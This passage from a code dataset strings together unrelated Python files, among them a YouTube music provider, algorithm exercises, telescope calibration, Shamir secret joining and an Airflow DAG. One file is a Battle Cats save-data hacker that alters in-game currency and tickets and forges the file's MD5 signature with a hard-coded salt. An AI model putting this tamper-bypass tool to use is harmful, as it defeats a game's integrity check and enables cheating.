self.id:\n # id could not be extracted from query, needs to be serched\n return False\n if storage.get(\"output\") == \"client\":\n # youtube streaming links need to be fetched each time the song is requested\n return False\n return os.path.isfile(self.get_path())\n\n def check_available(self) -> bool:\n # directly use the search extractors entry function so we can process each result\n # as soon as it's available instead of waiting for all of them\n extractor = yt_dlp.extractor.youtube.YoutubeSearchIE()\n extractor._downloader = yt_dlp.YoutubeDL(self.ydl_opts)\n extractor.initialize()\n for entry in extractor._search_results(self.query):\n if song_utils.is_forbidden(entry[\"title\"]):\n continue\n try:\n with yt_dlp.YoutubeDL(self.ydl_opts) as ydl:\n self.info_dict = ydl.extract_info(entry[\"id\"], download=False)\n break\n except (yt_dlp.utils.ExtractorError, yt_dlp.utils.DownloadError) as error:\n logging.warning(\"error during availability check for %s:\", entry[\"id\"])\n logging.warning(error)\n else:\n self.error = \"No songs found\"\n return False\n\n self.id = self.info_dict[\"id\"]\n\n return self.check_not_too_large(self.info_dict[\"filesize\"])\n\n def _download(self) -> bool:\n download_error = None\n location = None\n\n try:\n with yt_dlp.YoutubeDL(self.ydl_opts) as ydl:\n ydl.download([self.get_external_url()])\n\n location = self.get_path()\n base = os.path.splitext(location)[0]\n thumbnail = base + \".jpg\"\n try:\n os.remove(thumbnail)\n except FileNotFoundError:\n logging.info(\"tried to delete %s but does not exist\", thumbnail)\n\n try:\n # tag the file with replaygain to perform volume normalization\n subprocess.call(\n [\"rganalysis\", location],\n stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL,\n )\n except OSError as error:\n if error.errno == errno.ENOENT:\n pass # the rganalysis package was not found. Skip normalization\n else:\n raise\n\n except yt_dlp.utils.DownloadError as error:\n download_error = error\n\n if download_error is not None or location is None:\n logging.error(\"accessible video could not be downloaded: %s\", self.id)\n logging.error(\"location: %s\", location)\n logging.error(download_error)\n return False\n return True\n\n def make_available(self) -> bool:\n if os.path.isfile(self.get_path()):\n # don't download the file if it is already cached\n return True\n musiq.update_state()\n return self._download()\n\n def get_path(self) -> str:\n \"\"\"Return the path in the local filesystem to the cached sound file of this song.\"\"\"\n if not self.id:\n raise ValueError()\n return song_utils.get_path(self.id + \".m4a\")\n\n def get_internal_url(self) -> str:\n return \"file://\" + urllib.parse.quote(self.get_path())\n\n def get_external_url(self) -> str:\n if not self.id:\n raise ValueError()\n return \"https://www.youtube.com/watch?v=\" + self.id\n\n def gather_metadata(self) -> bool:\n self.metadata = self.get_local_metadata(self.get_path())\n if \"url\" in self.info_dict:\n self.metadata[\"stream_url\"] = self.info_dict[\"url\"]\n return True\n\n def get_suggestion(self) -> str:\n with youtube_session() as session:\n response = session.get(self.get_external_url())\n\n initial_data = Youtube._get_initial_data(response.text)\n\n path = [\n \"contents\",\n \"twoColumnWatchNextResults\",\n \"autoplay\",\n \"autoplay\",\n \"sets\",\n 0,\n \"autoplayVideo\",\n \"commandMetadata\",\n \"webCommandMetadata\",\n \"url\",\n ]\n url = initial_data\n for step in path:\n url = url[cast(str, step)]\n # discard everything after the first v= parameter\n return \"https://www.youtube.com\" + cast(str, url).split(\"&\")[0]\n\n def request_radio(self, session_key: str) -> HttpResponse:\n if not self.id:\n raise ValueError()\n radio_id = \"RD\" + self.id\n\n provider = YoutubePlaylistProvider(\"\", None)\n provider.id = radio_id\n provider.request(\"\", archive=False, manually_requested=False)\n return HttpResponse(\"queueing radio (might take some time)\")\n\n\nclass YoutubePlaylistProvider(PlaylistProvider, Youtube):\n \"\"\"This class handles Youtube Playlists.\"\"\"\n\n @staticmethod\n def get_id_from_external_url(url: str) -> Optional[str]:\n try:\n list_id = parse_qs(urlparse(url).query)[\"list\"][0]\n except KeyError:\n return None\n return list_id\n\n def __init__(self, query: Optional[str], key: Optional[int]) -> None:\n self.type = \"youtube\"\n super().__init__(query, key)\n self.ydl_opts = Youtube.get_ydl_opts()\n del self.ydl_opts[\"noplaylist\"]\n self.ydl_opts[\"extract_flat\"] = True\n\n def is_radio(self) -> bool:\n if not self.id:\n raise ValueError()\n return self.id.startswith(\"RD\")\n\n def search_id(self) -> Optional[str]:\n with youtube_session() as session:\n params = {\n \"search_query\": self.query,\n # this is the value that youtube uses to filter for playlists only\n \"sp\": \"EgQQA1AD\",\n }\n response = session.get(\"https://www.youtube.com/results\", params=params)\n\n initial_data = Youtube._get_initial_data(response.text)\n\n path = [\n \"contents\",\n \"twoColumnSearchResultsRenderer\",\n \"primaryContents\",\n \"sectionListRenderer\",\n \"contents\",\n ]\n section_renderers = initial_data\n for step in path:\n section_renderers = section_renderers[step]\n\n list_id = None\n for section_renderer in cast(List[Dict[str, Any]], section_renderers):\n search_results = section_renderer[\"itemSectionRenderer\"][\"contents\"]\n\n try:\n list_id = next(\n res[\"playlistRenderer\"][\"playlistId\"]\n for res in search_results\n if \"playlistRenderer\" in res\n )\n break\n except StopIteration:\n # the search result did not contain the list id\n pass\n\n return list_id\n\n def fetch_metadata(self) -> bool:\n # in case of a radio playlist, restrict the number of songs that are downloaded\n assert self.id\n if self.is_radio():\n self.ydl_opts[\"playlistend\"] = storage.get(\"max_playlist_items\")\n # radios are not viewable with the /playlist?list= url,\n # create a video watch url with the radio list\n query_url = (\n \"https://www.youtube.com/watch?v=\" + self.id[2:] + \"&list=\" + self.id\n )\n else:\n # if only given the id, yt-dlp returns an info dict resolving this id to a url.\n # we want to receive the playlist entries directly, so we query the playlist url\n query_url = \"https://www.youtube.com/playlist?list=\" + self.id\n\n try:\n with yt_dlp.YoutubeDL(self.ydl_opts) as ydl:\n info_dict = ydl.extract_info(query_url, download=False)\n except (yt_dlp.utils.ExtractorError, yt_dlp.utils.DownloadError) as error:\n self.error = error\n return False\n\n if info_dict[\"_type\"] != \"playlist\" or \"entries\" not in info_dict:\n # query was not a playlist url -> search for the query\n assert False\n\n assert self.id == info_dict[\"id\"]\n if \"title\" in info_dict:\n self.title = info_dict[\"title\"]\n for entry in info_dict[\"entries\"]:\n self.urls.append(\"https://www.youtube.com/watch?v=\" + entry[\"id\"])\n assert self.key is None\n\n return True\n","repo_name":"raveberry/raveberry","sub_path":"backend/core/musiq/youtube.py","file_name":"youtube.py","file_ext":"py","file_size_in_byte":13935,"program_lang":"python","lang":"en","doc_type":"code","stars":683,"dataset":"github-code","pt":"60"} +{"seq_id":"70960337471","text":"def solution(participant, completion):\n answer = ''\n \n participant.sort()\n completion.sort()\n \n if len(set(participant)) == len(set(completion)): \n for i in range(len(participant)):\n if participant[i] != completion[i] :\n \n return participant[i%len(participant)]\n \n else :\n return list(set(participant) - set(completion))[0]\n \n return answer","repo_name":"Algorithm-Coding-Test-Data-Analysis/algoview","sub_path":"data/py/lv1/Lv1_0000_프로그래머스_완주하기 못한 선수_해시_재영.py","file_name":"Lv1_0000_프로그래머스_완주하기 못한 선수_해시_재영.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"60"} +{"seq_id":"40910898829","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jan 24 17:37:16 2023\r\n\r\n@author: Sai khairnar\r\n\"\"\"\r\n\r\n#conditional statements\r\n#if statement\r\n\r\na= 20\r\nif a>20:\r\n print(\"a is big\")\r\nelif a<20:\r\n print(\"a is small\")\r\nelse:\r\n print(\"a is medium\")\r\n \r\n\r\nname=input(\"enter your name:\")\r\nif (name==\"tom\"):\r\n print(\"welcome\",name)\r\nelse:\r\n print(\"welcome guest\")\r\n\r\n#another example of if statement\r\n\r\nstd1=int(input(\"percentage obtained in exam:\"))\r\nif std1 in range(91,100):\r\n print(\"grade A\")\r\nelif std1 in range(81,90):\r\n print(\"grade B\")\r\nelif std1 in range(71,80):\r\n print(\"grade C\")\r\nelif std1 in range(50,70):\r\n print(\"grade D\")\r\nelse:\r\n print(\"fail\")\r\n \r\n\r\n#looping statement using def\r\ndef count_to_10():\r\n for i in range(11):\r\n print(i)\r\ncount_to_10()\r\n\r\n#example\r\ndef count_to_n(n):\r\n for i in range(1,n+1):\r\n print(i)\r\ncount_to_n(5)\r\n\r\n#for loop\r\nfor x in range(10):\r\n print(x)\r\n\r\n#nested loop\r\nwords =[\"carrot\",\"cabbage\",\"potato\",\"brinjal\"]\r\nfor word in words:\r\n print(\"indivisual words\",word)\r\n for letter in word:\r\n print(\"indivisual letters\",letter)\r\n\r\n","repo_name":"saikhairnar20023/python-basics","sub_path":"loop and conditional statement.py","file_name":"loop and conditional statement.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"72333017151","text":"lists = ['1', 'amar', 'lent1dao']\nlists2 = ['amor', 'elefante', 'python']\n\n\ndef remove_dups(lists):\n depara_list = []\n cleared_result = []\n depara_char = list(set(''.join(lists)))\n for i_element in lists:\n temp = []\n for i_char in i_element:\n if i_char in depara_char and i_char not in depara_list:\n depara_list.append(i_char)\n temp.append(i_char)\n else:\n pass\n temp_element = ''.join(temp)\n cleared_result.append(temp_element)\n temp = []\n \n return cleared_result\n\nprint(remove_dups(lists))\nprint(remove_dups(lists2))","repo_name":"filipeagostino/Python_exercices1","sub_path":"python_1_8.py","file_name":"python_1_8.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"27168670675","text":"from pytanga.components import AbstractComponent\n\n\nclass addressFamilyIPv4UnicastComponent(AbstractComponent):\n\n def __init__(self,\n auto_summary=None,\n originate_default=None,\n default_metric=None,\n synchronization=None,\n segment_routing_mpls=None\n ):\n self._xmlns = {}\n self.attributes = self.setAttributes(auto_summary,\n originate_default,\n default_metric,\n synchronization,\n segment_routing_mpls)\n self.parent_xmlns = {}\n self._children: List[AbstractComponent] = []\n self.childrenData = []\n self.tag = 'ipv4-unicast'\n\n @property\n def xmlns(self):\n return self._xmlns\n\n @xmlns.setter\n def xmlns(self, xmlns):\n self._xmlns = xmlns\n\n def setAttributes(self,\n auto_summary,\n originate_default,\n default_metric,\n synchronization,\n segment_routing_mpls):\n attributes = {}\n if(auto_summary):\n attributes['auto-summary'] = None\n if(originate_default):\n attributes['default-information'] = {'originate': None}\n if(synchronization):\n attributes['synchronization'] = None\n if(segment_routing_mpls):\n attributes['segment-routing'] = {'mpls': None}\n return attributes\n\n def add(self, component) -> None:\n self._children.append(component)\n\n def remove(self, component) -> None:\n self._children.remove(component)\n\n def is_composite(self) -> bool:\n return False\n\n def getXMLNS(self):\n childrenData = []\n for child in self._children:\n self.parent_xmlns.update(child.getXMLNS())\n return self.parent_xmlns\n\n def parse(self, serializer):\n self.childrenData = []\n self.getXMLNS()\n for child in self._children:\n self.childrenData.append(child.parse(serializer))\n return serializer.parse(self)\n","repo_name":"renatoalmeidaoliveira/Pytanga","sub_path":"pytanga/components/Cisco/xe/bgp/addressFamilyIPv4Unicast.py","file_name":"addressFamilyIPv4Unicast.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"29886533621","text":"\"\"\"\r\nboj_1389_케빈 베이컨의 6단계 법칙(난이도 : 실버1)\r\n플로이드 와샬\r\n\"\"\"\r\n\r\nfrom sys import stdin, stdout\r\n\r\nN, M = map(int,stdin.readline().rstrip().split(' '))\r\nINF = 100000\r\narr = [[] for i in range(N)]\r\nrst = [[INF for i in range(N)] for j in range(N)]\r\nfor i in range(N):\r\n rst[i][i] = 0\r\nfor m in range(M):\r\n i, j = map(int, stdin.readline().rstrip().split(' '))\r\n arr[i-1].append(j-1)\r\n rst[i-1][j-1] = 1\r\n arr[j-1].append(i-1)\r\n rst[j-1][i-1] = 1\r\n\r\ndef floyd_warshall(arr, rst, N):\r\n for k in range(N): # k를 거쳐갈 때\r\n for i in range(N):\r\n for j in range(N):\r\n if rst[i][j] > rst[i][k] + rst[k][j]:\r\n rst[i][j] = rst[i][k] + rst[k][j]\r\n\r\nfloyd_warshall(arr,rst,N)\r\n\r\nidx = 0\r\nnow = sum(rst[0])\r\nfor i in range(1,N):\r\n num = sum(rst[i])\r\n if num < now:\r\n now = num\r\n idx = i\r\n \r\nstdout.write(str(idx+1)+'\\n')\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"gitahn59/Algorithm","sub_path":"backjoon/boj_01389_케빈 베이컨의 6단계 법칙-플로이드 와샬.py","file_name":"boj_01389_케빈 베이컨의 6단계 법칙-플로이드 와샬.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"37961749607","text":"import numpy as np\nfrom matplotlib import pyplot\nimport h5py\nfrom tqdm import tqdm\nimport os\nimport pickle\ndef main(filename: str,source='TauA'):\n h = h5py.File(filename,'r')\n dv = 2./64\n frequency = np.concatenate(((np.arange(64) + 0.5)*-dv + 28,\n (np.arange(64) + 0.5)*dv + 28,\n (np.arange(64) + 0.5)*-dv + 32,\n (np.arange(64) + 0.5)*dv + 32))\n obsid = list(h.keys())\n obsid = np.array(obsid).astype(int)\n obsididx = np.argsort(obsid)\n obsid = obsid[obsididx]\n obsid = obsid\n tsys = np.zeros((len(obsid), 20, 4, 1024))\n spikes = np.zeros((len(obsid), 20, 4, 1024))\n dv = 2./1024 * 16\n nfreq = 64\n freq = np.array([(np.arange(nfreq)+0.5)*-dv + 28,\n (np.arange(nfreq)+0.5)* dv + 28,\n (np.arange(nfreq)+0.5)*-dv + 32,\n (np.arange(nfreq)+0.5)* dv + 32])\n\n gain_averages = np.zeros((len(obsid), 20, 4))\n gain_std = np.zeros((len(obsid), 20, 4))\n gain_range = np.zeros((len(obsid), 20, 4))\n all_fnoise = np.zeros((len(obsid), 20, 4,3))\n all_chi2 = np.zeros((len(obsid), 20, 4))\n\n taua_obs = np.zeros(len(obsid),dtype=bool)\n for i,obs in enumerate(tqdm(obsid)):\n try:\n #if True:\n if not 'TauA' in h[str(obs)]['level2'].attrs['source']:\n continue\n feeds = np.sort([int(f[:-1]) for f in h[str(obs)]['level2'].attrs['pixels'].split() if 'A' in f])\n if (len(feeds) != h[str(obs)]['Vane']['Tsys'].shape[1]):\n feeds = np.append(feeds,20)\n gains=h[str(obs)]['FitSource/Gains'][...]\n if np.nansum(gains) == 0:\n continue\n fnoise = h[str(obs)]['FnoiseStats/fnoise_fits'][...]\n fnoise[fnoise == 0] = np.nan\n chi2 = h[str(obs)]['FitSource/Chi2'][...]\n chi2[chi2 == 0] = np.nan\n freq_mask = [None,[29.5,30],None,[33.5,34]]\n\n level2_mask = h[str(obs)]['Vane/Level2Mask'][...] \n for iband in range(4):\n g = gains[:,iband]\n g[g == 0] =np.nan\n f = freq[iband].flatten()\n bad = level2_mask[:,iband]\n if not isinstance(freq_mask[iband],type(None)):\n bad = bad | ((f[None,:] > freq_mask[iband][0]) & (f[None,:] <= freq_mask[iband][1]))\n g[bad[feeds-1]] = np.nan\n gain_averages[i,feeds-1,iband] = np.nanmean(g,axis=-1)\n gain_std[i,feeds-1,iband] = np.nanstd(g,axis=-1)\n gain_range[i,feeds-1,iband] = np.nanmax(g,axis=-1)-np.nanmin(g,axis=-1)\n \n all_fnoise[i,feeds-1,iband,:] = np.nanmean(fnoise[0,iband,:,0,:])\n all_chi2[i,feeds-1,iband] = np.nanmean(chi2[0,iband,:,1])\n\n taua_obs[i] = True\n except KeyError:\n tsys[i,feeds-1,:,:] = np.nan\n spikes[i,feeds-1,:,:] = np.nan\n print(obs)\n continue\n h.close()\n\n taua_mask = np.zeros((len(np.where(taua_obs)[0]),20,4),dtype=bool)\n taua_values = np.zeros((len(np.where(taua_obs)[0]),20,4))\n for ifeed in range(19):\n cuts = np.loadtxt('datecuts/Feed{:02d}_cuts.dat'.format(ifeed+1),dtype=float,usecols=[0,1])\n for iband in range(4):\n y = gain_averages[taua_obs,ifeed,iband]\n e = gain_std[taua_obs,ifeed,iband]\n o = obsid[taua_obs]\n gd = np.ones(y.size,dtype=bool)\n for icut,(start,end) in enumerate(cuts):\n lo = np.argmin((start-o)**2)\n hi = np.argmin((end-o)**2)\n gd[lo:hi+1] = np.abs(y[lo:hi+1]-np.nanmedian(y[lo:hi+1])) < 0.05\n pyplot.axvspan(start,end,alpha=0.15,color='C{}'.format(icut))\n\n red = all_fnoise[taua_obs,ifeed,iband,0]\n alpha = all_fnoise[taua_obs,ifeed,iband,1]\n gd = gd & (alpha > -1.1) & (red < 5e-3) & ((y/e) > 5 ) & (e < 0.05)\n taua_mask[:,ifeed,iband] = gd\n taua_values[:,ifeed,iband] = y*1\n \n pyplot.errorbar(o[gd],\n y[gd],\n fmt='.',yerr=e[gd])\n #for icut,(start,end) in enumerate(cuts):\n # pyplot.axvspan(start,end,alpha=0.15,color='C{}'.format(icut))\n pyplot.ylim(0.5,1.)\n pyplot.xlabel('Obs ID')\n pyplot.ylabel('Gain')\n pyplot.title(ifeed+1)\n pyplot.savefig('figures/gains/{:02d}_taua_gains.png'.format(ifeed+1))\n pyplot.clf()\n\n # Remove factors that aren't good in the three central feeds and all 4 bands\n time_taua_mask = (np.sum(taua_mask[:,:3,:],axis=(1,2)) == 12)\n taua_mask[~time_taua_mask] = False\n taua_values = taua_values[time_taua_mask,...] # good gain factors\n taua_obsids = (obsid[taua_obs])[time_taua_mask] # taua_obsids\n\n # Now apply the calibration factors\n\n ## Write the gain factors per feed to the database\n ## Creates a new group called \"level3\" that is used\n ## by the level3 creation routines.\n h = h5py.File(filename,'a')\n nFeeds = 19\n for obs in obsid:\n gain = np.zeros((nFeeds,4))\n for ifeed in range(nFeeds):\n cuts = np.loadtxt('datecuts/Feed{:02d}_cuts.dat'.format(ifeed+1),dtype=float,usecols=[0,1])\n for icut,(start,end) in enumerate(cuts):\n if (start <= obs < end):\n hi = np.argmin((taua_obsids - end)**2)\n lo = np.argmin((taua_obsids - start)**2)\n o = taua_obsids[lo:hi+1]\n y = taua_values[lo:hi+1,ifeed]\n select = np.argmin((o - obs)**2)\n gain[ifeed] = y[select]\n \n if not 'level3' in h[str(obs)]:\n grp = h[str(obs)].create_group('level3')\n else:\n grp = h[str(obs)]['level3']\n if '{}MainBeamFactor'.format(source) in grp:\n del grp['{}MainBeamFactor'.format(source)]\n grp.create_dataset('{}MainBeamFactor'.format(source),data=gain)\n h.close()\n\n\nif __name__ == \"__main__\":\n\n filename = 'comap_database.hdf5'\n main(filename)\n","repo_name":"SharperJBCA/COMAPreduce","sub_path":"comancpipeline/COMAPDatabase/assign_calibration_factors.py","file_name":"assign_calibration_factors.py","file_ext":"py","file_size_in_byte":6172,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"34953961006","text":"a = input('''Raqamlardan birini tanlang: \n 1==String\n 2==Integer\n 3==Float\n 4==Boolen\n 5==List ''')\n\nif a =='1':\n print(\"Siz String ma'lumotni tanladingiz.\")\n b = input('''Quyidagilardan birini tanlang:\n 1==O'zingiz haqingizda ma'lumot.\n 2==Registratsiyadan o'tish ''')\n if b == '1':\n print(\"O'zingiz haqingizda ma'lumot kiritishingiz mumkin: \")\n ism = input(\"Ismingizni kiriting: \")\n familiya = input(\"Familiyangizni kiriting: \")\n elif b == '2':\n print(\"Siz registratsiyadan o'tishingiz mumkin: \")\n email = input(\"Emailingizni kiriting: \")\n parol = input(\"Parolni kiriting: \")\n login = input(\"Loginni kiritting: \")\nelif a == '2':\n print(\"Siz integer ma'lumot tanladingiz.\")\n c = input('''Quyidagilardan birini tanlang: \n 1==Kalkulator.\n 2==Toq sonlar.\n 3==Juft sonlar.\n 4== 2 ta nol bilan tugaydigan sonlar yig'indisi.''')\n if c == '1':\n q = int(input(\"1-son: \"))\n w = int(input(\"2-son: \"))\n amal == input(\"Quyidagilardan amallardan birini tanlang: \")\n if amal == '+':\n print(q+w)\n elif amal == '-':\n print(q-w)\n elif amal == '*':\n print(q*w)\n elif amal == '/':\n print(q/w)\n else:\n print(\"Siz kiritgan amal mavjud emas.\")\n elif c == '2':\n for x in range(1,100,2):\n print(x)\n\n elif c == '3':\n for x in range(0,100,2):\n print(x)\n elif c == '4':\n a = 0\n b = 100\n while a < b: #Xatolik bor.\n a += 100\n b += a\n print(b)\n\n\n\n\nelif a == '3':\n print(\"Siz float ma'lumot turiga kirdingiz.\")\n e = int(input(\"Qaysi sonning kvadrati kerak: \"))\n print(e**2)\nelif a == '4':\n print(\"Siz boolen ma'lumot turiga kirdingiz.\")","repo_name":"shahnozahaydarova/python","sub_path":"gulbahor.py","file_name":"gulbahor.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"tr","doc_type":"code","stars":11,"dataset":"github-code","pt":"60"} +{"seq_id":"35221446536","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nNPR 2019-07-28\nhttps://www.npr.org/2019/07/28/745971618/sunday-puzzle-high-cs\n\nThe word BEVY is \"alphabetically balanced.\" \nThat is, the first letter, B, is second from the start of the alphabet, \nand the last letter, Y, is second from the end of the alphabet. \nSimilarly, E and V are each fifth from the ends of the alphabet. \nCan you think of a six-letter word related to magic that is similarly balanced?\n\"\"\"\n\nfrom nltk.corpus import wordnet as wn\n\ndef is_balanced(s):\n s = s.lower()\n if len(s) % 2 == 1:\n return False\n while s:\n a, z = s[0], s[-1]\n n1, n2 = ord(a) - 97, ord(z) - 97\n if n1 + n2 != 25:\n return False\n else:\n s = s[1:-1]\n return True\n\nfor w in wn.all_lemma_names():\n if is_balanced(w):\n print(w)\n","repo_name":"boisvert42/npr-puzzle-python","sub_path":"2019/0728_balanced_word.py","file_name":"0728_balanced_word.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"26009721836","text":"from gf256 import GF256\nfrom typing import Dict\n\n\ndef signed_byte_to_unsigned_byte(input):\n output = []\n for b in input:\n output.append(b & 0xff)\n return output\n\n\ndef interpolate(points: [bytearray]):\n x = GF256(0)\n y = GF256(0)\n for i in range(len(points)):\n aX = points[i][0]\n aY = points[i][1]\n li = GF256(1)\n for j in range(len(points)):\n bX = points[j][0]\n if i != j:\n divisor = (GF256(aX) - GF256(bX))\n li = li * ((x - GF256(bX)) / divisor) if divisor.__int__() != 0 else GF256(0)\n y = y + (li * GF256(aY))\n return y.__int__()\n\n\ndef join(parts: Dict[int, bytearray]):\n if len(parts) <= 0:\n print(\"No parts provided\")\n return\n lengths = set(map(lambda x: len(x), parts.values()))\n if len(lengths) > 1:\n print(\"Varying lengths of part values\")\n return\n length = lengths.pop()\n secret: bytearray = bytearray(length)\n for i in range(length):\n points: [bytearray] = [bytearray(2) for x in range(len(parts))]\n j = 0\n for k, v in parts.items():\n points[j][0] = k\n points[j][1] = v[i]\n j += 1\n secret[i] = interpolate(points)\n return bytes(secret)\n\n","repo_name":"benstrobel/SAFMA","sub_path":"server/healthaggregation/healthaggregation/shamir.py","file_name":"shamir.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"73914373630","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n# Author: Beeven Yip\n# Created on 2015-6-26\n\nimport hashlib\nimport base64\nimport argparse\nimport os.path\nimport io\nimport struct\nimport xml.etree.ElementTree as ET\n\nclass Modifier(object):\n\n def __init__(self, byte_order, data, properties):\n \"\"\" byte_order: '>' big_endian for Android\n '<' little_endian for iOS\n \"\"\"\n self._data = bytearray(data)\n self._byte_order = byte_order\n self._known_properties = properties\n\n\n\n def __getattr__(self, name):\n if self._known_properties.has_key(name):\n v = self._known_properties[name]\n d = struct.unpack_from(self._byte_order+v[0],self._data,v[1])\n if len(d) > 1:\n return d\n else:\n return d[0]\n else:\n raise AttributeError\n\n def __setattr__(self, name, value):\n if self.__dict__.has_key(\"_known_properties\") and self.__dict__[\"_known_properties\"].has_key(name):\n v = self._known_properties[name]\n struct.pack_into(self._byte_order+v[0], self._data, v[1], value)\n else:\n super(Modifier,self).__setattr__(name, value)\n\n\n @property\n def signature(self):\n return self._data[-32:]\n\n @signature.setter\n def signature(self, value):\n self._data[-32:] = value\n\n @property\n def computed_hash(self):\n return hashlib.md5(\"battlecatskr\"+self._data[:-32]).hexdigest()\n\n @property\n def known_properties(self):\n return dict( (k,self.__getattr__(k)) for k in self._known_properties.keys())\n\n def save_to_file(self, filename):\n self.signature = self.computed_hash\n pass\n\n def extract_data(self, filename):\n with open(filename, \"wb\") as f:\n f.write(self._data)\n\n def replace_data(self, filename):\n with open(filename, \"rb\") as f:\n self._data = bytearray(f.read())\n\n def modify(self, dt, pos, val):\n struct.pack_into(self._byte_order + dt, self._data, pos, val)\n\n\n\nclass iOS(Modifier):\n def __init__(self, filename=None):\n if filename is None:\n filename = \"SAVE_DATA\"\n with open(filename, \"rb\") as f:\n data = bytearray(f.read())\n\n properties = {\n \"cat_food\": (\"L\",7),\n \"xp\": (\"L\",75),\n \"rare_ticket\": (\"L\",8374),\n \"ticket\": (\"L\",8370),\n \"tracking_id\": (\"9s\", 104154),\n \"medal\":(\"192L\",2504)\n }\n Modifier.__init__(self, \"<\", data, properties)\n\n def save_to_file(self, filename):\n Modifier.save_to_file(self, filename)\n with open(filename, \"wb\") as f:\n f.write(self._data)\n\nclass Android(Modifier):\n def __init__(self, filename=None):\n if filename is None:\n filename = \"save.xml\"\n self._xmltree = ET.parse(filename)\n data = base64.b64decode(self._xmltree.getroot().find(\"./string[@name='SAVE_DATA']\").text)\n properties = {\n \"cat_food\": (\"L\",7),\n \"xp\": (\"L\",75),\n \"rare_ticket\": (\"L\",8368),\n \"ticket\": (\"L\",8364),\n \"tracking_id\": (\"9s\", 104154)\n }\n\n Modifier.__init__(self, \">\",data, properties)\n\n def save_to_file(self, filename):\n Modifier.save_to_file(self, filename)\n node = self._xmltree.getroot().find(\"./string[@name='SAVE_DATA']\")\n node.text = base64.b64encode(self._data)\n self._xmltree.write(filename)\n\n","repo_name":"csehydrogen/BattleCatsHacker","sub_path":"SaveDataModifier.py","file_name":"SaveDataModifier.py","file_ext":"py","file_size_in_byte":3504,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"} +{"seq_id":"40657729568","text":"\"\"\"\n### AWS upload\n### upload s3 file and send an link to targer user with expired download link\n### trigger by variable shortCircuitIsRun in airflow\n### example\n### airflow variable --set shortCircuitIsRun True/False\n\"\"\"\nfrom airflow import DAG\nfrom airflow.contrib.hooks import SSHHook\nfrom airflow.contrib.operators import SSHExecuteOperator\nfrom airflow.operators import EmailOperator, S3KeySensor, ShortCircuitOperator\nfrom datetime import datetime, timedelta\nfrom airflow.models import Variable\nimport json\n\nsshHook = SSHHook(conn_id='aws_worker_ssh')\n\ndefault_args = {\n 'owner': 'eddieli',\n 'depends_on_past': False,\n 'start_date': datetime(2017, 3, 14),\n #'end_date': datetime(2017, 3, 20, 19, 53, 42)\n 'email': ['email@email.com'],\n 'email_on_failure': True,\n 'email_on_retry': True,\n 'retries': 1,\n 'retry_delay': timedelta(minutes=5),\n 'params': {'aws_bucket': Variable.get('aws_bucket')},\n}\n\ndag = DAG('sc_aws_job_with_var_v1', default_args=default_args, \nschedule_interval='*/10 * * * *')\n\ndag.doc_md = __doc__\n\nt0 = ShortCircuitOperator(\n task_id='checkVariable', python_callable=lambda: True if \"True\" == Variable.get('shortCircuitIsRun') else False, dag=dag)\n\nt1 = SSHExecuteOperator(\n task_id=\"uploadS3File\",\n bash_command=\"aws s3 cp /home/ec2-user/sample/shortcircuit.txt s3://{{params.aws_bucket}}\",\n xcom_push=False,\n ssh_hook=sshHook,\n dag=dag)\n\nt2 = S3KeySensor(\n task_id='checkS3File',\n bucket_key=\"shortcircuit.txt\",\n wildcard_match=True,\n bucket_name='{{params.aws_bucket}}',\n s3_conn_id='my_conn_S3',\n timeout=30,\n poke_interval=5,\n dag=dag)\n\nt3 = SSHExecuteOperator(\n task_id=\"preSignS3File\",\n bash_command=\"aws s3 presign s3://{{params.aws_bucket}}/shortcircuit.txt --expires 3600\",\n xcom_push=True,\n ssh_hook=sshHook,\n dag=dag)\n\nt4= EmailOperator(\n task_id='sendEmail',\n to='email@email.com',\n subject='shortcircuit file is on AWS (expired in an hour)',\n html_content=\"click me\",\n dag=dag\n)\n\nt1.set_upstream(t0)\nt2.set_upstream(t1)\nt3.set_upstream(t2)\nt4.set_upstream(t3)","repo_name":"eddielisc/try-airflow","sub_path":"example_dags/aws/sc_aws_job_with_var.py","file_name":"sc_aws_job_with_var.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"24629437037","text":"# -*- coding:utf-8 -*-\n\"\"\"\nHook fixture 公共模块\n\nconftest.py是一个plugin文件（固定名称）：\n 里面可以实现Pytest提供的Hook函数或者自定义的fixture函数\n 这些函数只在conftest.py所在目录及其子目录中生效\n\nrequest.config.rootdir属性：\n 这个属性表示的是pytest.ini这个配置文件所在的目录\n\"\"\"\nimport os\nimport yaml\nimport pytest\n\nfrom utils.common_drivers import Drivers\n\n\ndef pytest_addoption(parser):\n \"\"\"\n 添加pytest命令行选项\n :param parser:\n :return:\n \"\"\"\n parser.addoption(\"--env\",\n action=\"store\",\n dest=\"environment\", # 参数名称\n default=\"test\", # 默认值\n help=\"environment: test or prod\")\n\n\n@pytest.fixture(scope='session') # 作用于整个测试\ndef env(request):\n \"\"\"获取config目录里面的环境配置文件\"\"\"\n config_path = os.path.join(request.config.rootdir,\n 'config',\n request.config.getoption('environment'),\n 'config.yaml')\n with open(config_path) as f:\n 